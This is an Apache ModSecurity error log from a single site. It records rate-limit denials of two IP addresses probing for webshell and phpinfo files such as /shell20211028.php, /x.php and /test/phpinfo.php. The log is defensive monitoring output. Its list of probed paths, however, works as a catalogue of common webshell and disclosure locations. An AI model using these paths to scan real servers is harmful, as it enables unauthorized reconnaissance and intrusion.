[Sat May 09 01:33:43.583623 2026] [:error] [pid 61355:tid 61367] [client 130.131.249.131:9572] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "af4ed_khJTi30CBXmMkxhwAAAYY"]
[Sat May 09 01:33:43.963454 2026] [:error] [pid 61355:tid 61365] [client 130.131.249.131:9538] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "af4ed_khJTi30CBXmMkxigAAAYQ"]
[Sat May 09 01:33:44.341348 2026] [:error] [pid 61317:tid 61340] [client 130.131.249.131:9574] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "af4eeM-fFk_CedOCOYsMhQAAAVQ"]
[Sat May 09 01:33:44.737607 2026] [:error] [pid 51008:tid 51065] [client 130.131.249.131:9487] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/revealability.php"] [unique_id "af4eeHB58C2Y1tgLtuLbhwAAAFA"]
[Sat May 09 01:33:45.114131 2026] [:error] [pid 34318:tid 34337] [client 130.131.249.131:9486] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/revealability.php"] [unique_id "af4eecr3guirgJiKhzAD2wAAARE"]
[Sat May 09 01:33:45.499111 2026] [:error] [pid 51008:tid 51051] [client 130.131.249.131:9567] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/revealability.php"] [unique_id "af4eeXB58C2Y1tgLtuLbiQAAAEI"]
[Sat May 09 01:33:45.891507 2026] [:error] [pid 51008:tid 51053] [client 130.131.249.131:9545] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/revealability.php"] [unique_id "af4eeXB58C2Y1tgLtuLbiwAAAEQ"]
[Sat May 09 01:33:46.267948 2026] [:error] [pid 61355:tid 61369] [client 130.131.249.131:9551] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "af4eevkhJTi30CBXmMkxmAAAAYg"]
[Sat May 09 01:33:46.642815 2026] [:error] [pid 51009:tid 51086] [client 130.131.249.131:23516] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "af4eeuB0GbUWhxgzX9WS5wAAAIo"]
[Sat May 09 01:33:47.040960 2026] [:error] [pid 51008:tid 51054] [client 130.131.249.131:9547] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "af4ee3B58C2Y1tgLtuLbjQAAAEU"]
[Sat May 09 01:33:47.431000 2026] [:error] [pid 61355:tid 61366] [client 130.131.249.131:9559] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "af4ee_khJTi30CBXmMkxngAAAYU"]
[Sat May 09 01:33:48.833066 2026] [:error] [pid 61355:tid 61380] [client 130.131.249.131:9570] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "af4efPkhJTi30CBXmMkxqAAAAZM"]
[Sat May 09 01:33:49.214211 2026] [:error] [pid 51113:tid 51118] [client 130.131.249.131:9580] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "af4efUQfs7sWtqkpQIebWwAAAMM"]
[Sat May 09 01:33:49.597472 2026] [:error] [pid 61355:tid 61367] [client 130.131.249.131:9474] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "af4effkhJTi30CBXmMkxtgAAAYY"]
[Sat May 09 01:33:49.979294 2026] [:error] [pid 61356:tid 61407] [client 130.131.249.131:9598] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "af4efYx3vpB8oWhUq2MoyAAAAdM"]
[Sat May 09 01:33:50.355356 2026] [:error] [pid 61355:tid 61365] [client 130.131.249.131:9503] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "af4efvkhJTi30CBXmMkxuwAAAYQ"]
[Sat May 09 01:33:50.741302 2026] [:error] [pid 61355:tid 61378] [client 130.131.249.131:9576] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "af4efvkhJTi30CBXmMkxvQAAAZE"]
[Sat May 09 01:33:51.116311 2026] [:error] [pid 51007:tid 51045] [client 130.131.249.131:9585] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "af4ef1MagSGstWKyzzUazQAAABc"]
[Sat May 09 01:33:51.497007 2026] [:error] [pid 51008:tid 51053] [client 130.131.249.131:9529] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "af4ef3B58C2Y1tgLtuLblQAAAEQ"]
[Sat May 09 01:33:52.903049 2026] [:error] [pid 61356:tid 61402] [client 130.131.249.131:9478] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "af4egIx3vpB8oWhUq2MozAAAAc4"]
[Sat May 09 01:33:53.289346 2026] [:error] [pid 61356:tid 61401] [client 130.131.249.131:9548] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "af4egYx3vpB8oWhUq2Mo0AAAAc0"]
[Sat May 09 01:33:53.669243 2026] [:error] [pid 51007:tid 51029] [client 130.131.249.131:9496] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "af4egVMagSGstWKyzzUazgAAAAc"]
[Sat May 09 01:33:54.051040 2026] [:error] [pid 51113:tid 51116] [client 130.131.249.131:9595] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "af4egkQfs7sWtqkpQIebXAAAAME"]
[Sat May 09 01:33:54.443770 2026] [:error] [pid 61317:tid 61321] [client 130.131.249.131:9491] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-firewall.php"] [unique_id "af4egs-fFk_CedOCOYsMlgAAAUE"]
[Sat May 09 01:33:54.822664 2026] [:error] [pid 51113:tid 51127] [client 130.131.249.131:9476] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-firewall.php"] [unique_id "af4egkQfs7sWtqkpQIebXQAAAMw"]
[Sat May 09 01:33:57.412302 2026] [:error] [pid 61317:tid 61341] [client 130.131.249.131:9498] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-firewall.php"] [unique_id "af4ehc-fFk_CedOCOYsMmAAAAVU"]
[Sat May 09 01:33:57.795151 2026] [:error] [pid 61317:tid 61338] [client 130.131.249.131:9599] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-firewall.php"] [unique_id "af4ehc-fFk_CedOCOYsMmQAAAVI"]
[Sat May 09 01:33:58.171985 2026] [:error] [pid 34318:tid 34340] [client 130.131.249.131:9575] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "af4ehsr3guirgJiKhzAD5AAAARQ"]
[Sat May 09 01:33:58.558898 2026] [:error] [pid 34318:tid 34335] [client 130.131.249.131:9516] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "af4ehsr3guirgJiKhzAD5QAAAQ8"]
[Sat May 09 01:33:58.614077 2026] [:error] [pid 61355:tid 61368] [client 18.220.167.180:56182] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test/phpinfo.php"] [unique_id "af4ehvkhJTi30CBXmMkxygAAAYc"]
[Sat May 09 01:33:58.948932 2026] [:error] [pid 34318:tid 34334] [client 130.131.249.131:9587] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "af4ehsr3guirgJiKhzAD5gAAAQ4"]
[Sat May 09 01:33:59.340577 2026] [:error] [pid 51009:tid 51089] [client 130.131.249.131:9542] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "af4eh-B0GbUWhxgzX9WS8wAAAI0"]
[Sat May 09 01:33:59.690023 2026] [:error] [pid 51007:tid 51023] [client 18.220.167.180:38074] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev/phpinfo.php"] [unique_id "af4eh1MagSGstWKyzzUa0gAAAAE"]
[Sat May 09 01:33:59.729552 2026] [:error] [pid 51009:tid 51099] [client 130.131.249.131:9543] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wuasr.php"] [unique_id "af4eh-B0GbUWhxgzX9WS9QAAAJc"]
[Sat May 09 01:34:00.127948 2026] [:error] [pid 34318:tid 34323] [client 130.131.249.131:9504] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wuasr.php"] [unique_id "af4eiMr3guirgJiKhzAD5wAAAQM"]
[Sat May 09 01:34:00.529069 2026] [:error] [pid 51113:tid 51115] [client 18.220.167.180:38084] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/old/phpinfo.php"] [unique_id "af4eiEQfs7sWtqkpQIebXwAAAMA"]
[Sat May 09 01:34:00.614992 2026] [:error] [pid 61355:tid 61364] [client 130.131.249.131:9482] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wuasr.php"] [unique_id "af4eiPkhJTi30CBXmMkxzAAAAYM"]
[Sat May 09 01:34:01.020053 2026] [:error] [pid 61317:tid 61334] [client 130.131.249.131:9584] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wuasr.php"] [unique_id "af4eic-fFk_CedOCOYsMoAAAAU4"]
[Sat May 09 01:34:01.364288 2026] [:error] [pid 61317:tid 61328] [client 18.220.167.180:38090] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tmp/phpinfo.php"] [unique_id "af4eic-fFk_CedOCOYsMogAAAUg"]
[Sat May 09 01:34:01.459380 2026] [:error] [pid 51007:tid 51032] [client 130.131.249.131:9494] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1index.php"] [unique_id "af4eiVMagSGstWKyzzUa0wAAAAo"]
[Sat May 09 01:34:01.837933 2026] [:error] [pid 61317:tid 61324] [client 130.131.249.131:9508] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1index.php"] [unique_id "af4eic-fFk_CedOCOYsMpQAAAUQ"]
[Sat May 09 01:34:02.202982 2026] [:error] [pid 34318:tid 34327] [client 18.220.167.180:38098] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/phpinfo.php"] [unique_id "af4eisr3guirgJiKhzAD7QAAAQc"]
[Sat May 09 01:34:02.218067 2026] [:error] [pid 51007:tid 51035] [client 130.131.249.131:9522] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1index.php"] [unique_id "af4eilMagSGstWKyzzUa1AAAAA0"]
[Sat May 09 01:34:02.607530 2026] [:error] [pid 51007:tid 51043] [client 130.131.249.131:9553] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1index.php"] [unique_id "af4eilMagSGstWKyzzUa1QAAABU"]
[Sat May 09 01:34:02.985702 2026] [:error] [pid 34318:tid 34335] [client 130.131.249.131:23500] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "af4eisr3guirgJiKhzAD8AAAAQ8"]
[Sat May 09 01:34:03.036772 2026] [:error] [pid 34318:tid 34321] [client 18.220.167.180:38114] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info"] [unique_id "af4ei8r3guirgJiKhzAD8QAAAQE"]
[Sat May 09 01:34:03.365771 2026] [:error] [pid 34318:tid 34323] [client 130.131.249.131:23514] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "af4ei8r3guirgJiKhzAD8wAAAQM"]
[Sat May 09 01:34:03.816191 2026] [:error] [pid 61356:tid 61397] [client 130.131.249.131:9569] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "af4ei4x3vpB8oWhUq2Mo3QAAAck"]
[Sat May 09 01:34:03.872352 2026] [:error] [pid 51113:tid 51122] [client 18.220.167.180:38126] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php-info.php"] [unique_id "af4ei0Qfs7sWtqkpQIebYQAAAMc"]
[Sat May 09 01:34:04.190183 2026] [:error] [pid 51009:tid 51092] [client 130.131.249.131:9568] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "af4ejOB0GbUWhxgzX9WS_QAAAJA"]
[Sat May 09 01:34:04.562002 2026] [:error] [pid 51113:tid 51128] [client 130.131.249.131:23499] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "af4ejEQfs7sWtqkpQIebYwAAAM0"]
[Sat May 09 01:34:04.703476 2026] [:error] [pid 51009:tid 51086] [client 18.220.167.180:38136] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpversion.php"] [unique_id "af4ejOB0GbUWhxgzX9WS_gAAAIo"]
[Sat May 09 01:34:05.536507 2026] [:error] [pid 61356:tid 61400] [client 18.220.167.180:38148] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/_phpinfo.php"] [unique_id "af4ejYx3vpB8oWhUq2Mo4QAAAcw"]
[Sat May 09 01:34:06.364419 2026] [:error] [pid 51008:tid 51060] [client 18.220.167.180:38152] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/old_phpinfo.php"] [unique_id "af4ejnB58C2Y1tgLtuLbmQAAAEs"]
[Sat May 09 01:34:07.187102 2026] [:error] [pid 61356:tid 61398] [client 18.220.167.180:38162] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server-info.php"] [unique_id "af4ej4x3vpB8oWhUq2Mo5QAAAco"]
[Sat May 09 01:34:08.009994 2026] [:error] [pid 34318:tid 34339] [client 130.131.249.131:23511] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "af4ekMr3guirgJiKhzAD-AAAARM"]
[Sat May 09 01:34:08.012009 2026] [:error] [pid 61317:tid 61328] [client 18.220.167.180:38164] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server-status.php"] [unique_id "af4ekM-fFk_CedOCOYsMrAAAAUg"]
